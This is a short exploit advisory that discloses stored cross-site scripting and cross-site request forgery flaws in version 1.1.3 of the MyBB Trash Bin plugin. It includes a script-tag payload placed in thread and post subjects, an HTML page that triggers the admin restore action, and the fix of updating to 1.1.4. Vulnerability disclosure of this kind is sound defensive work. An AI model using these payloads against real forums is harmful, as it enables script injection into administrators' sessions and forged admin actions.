# Exploit Title: MyBB Trash Bin Plugin 1.1.3 - Cross-Site Scripting / CSRF# Date: 7/17/2018# Author: 0xB9# Twitter: @0xB9Sec# Contact: 0xB9[at]pm.me# Software Link: https://community.mybb.com/mods.php?action=view&pid=957# Version: 1.1.3# Tested on: Ubuntu 18.04# CVE: CVE-2018-145751. Description:
Creates a trash binin the ACP where you can recover permanent deleted threads and posts. The thread/post subjects allow XSS and deleted posts can be restored by CSRF.2. Proof of Concept:
Cross-Site Scripting
- Create a new thread with the following subject<script>alert('XSS')</script>- Permanently delete that thread
- Alert is located in threads trash bin localhost/[path]/admin/index.php?module=tools-trashbin and localhost/admin/index.php?module=tools-trashbin&action=posts
- Reply to a post and change the subject to the following<script>alert('XSS')</script>- Permanently delete that post
- Alert is located in posts trash bin localhost/[path]/admin/index.php?module=tools-trashbin&action=posts
Cross-Site Request Forgery
<html><body><!-- Restore deleted threads & posts by thread/post ID --><div class="popup_item_container"><a href="http://localhost/[path]/admin/index.php?module=tools-trashbin&action=threadrestore&tid=1"class="popup_item">Restore</a></div><script type="text/javascript">
$("#thread_1").popupMenu();</script></body></html>3. Solution:
Update to 1.1.4